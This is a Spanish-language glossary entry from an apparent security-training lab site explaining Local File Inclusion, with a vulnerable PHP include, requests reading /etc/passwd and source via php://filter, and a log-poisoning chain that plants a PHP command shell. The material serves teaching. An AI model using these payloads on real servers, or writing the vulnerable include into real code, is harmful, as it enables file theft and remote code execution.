Nuevos labs cada semana — Accede a todos desde 5€/mes

LFI

Alto

Local File Inclusion

Definición

Local File Inclusion (LFI) es una vulnerabilidad que permite a un atacante incluir archivos locales del servidor a través de la manipulación de parámetros de entrada. A diferencia del Path Traversal que solo lee archivos, LFI puede ejecutar código si el archivo incluido contiene código del lenguaje del servidor (PHP, JSP, etc.).

Impacto

Lectura de archivos sensibles del servidorEjecución de código arbitrario (LFI a RCE vía log poisoning)Acceso a código fuente de la aplicaciónLectura de variables de entorno y secretosEncadenamiento con otras vulnerabilidades para escalada de privilegios

Ejemplos

LFI básico en PHP

El código PHP incluye un archivo basado en un parámetro del usuario. Usando wrappers de PHP como php://filter, el atacante puede leer el código fuente de cualquier archivo PHP del servidor codificado en Base64.

# Código vulnerable
<?php include($_GET['page'] . '.php'); ?>

# Petición legítima
GET /index.php?page=about

# Ataque LFI
GET /index.php?page=../../../etc/passwd%00
GET /index.php?page=php://filter/convert.base64-encode/resource=config

LFI a RCE vía Log Poisoning

El atacante primero inyecta código PHP en los logs del servidor web. Luego usa LFI para incluir el archivo de log, ejecutando el código PHP inyectado con capacidad de ejecutar comandos del sistema.

# 1. Envenenar los logs de acceso de Apache
GET /<?php system($_GET['cmd']); ?> HTTP/1.1
Host: victima.com

# 2. Incluir el log envenenado vía LFI
GET /index.php?page=../../../var/log/apache2/access.log&cmd=id

Referencias externas

Practica LFI con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica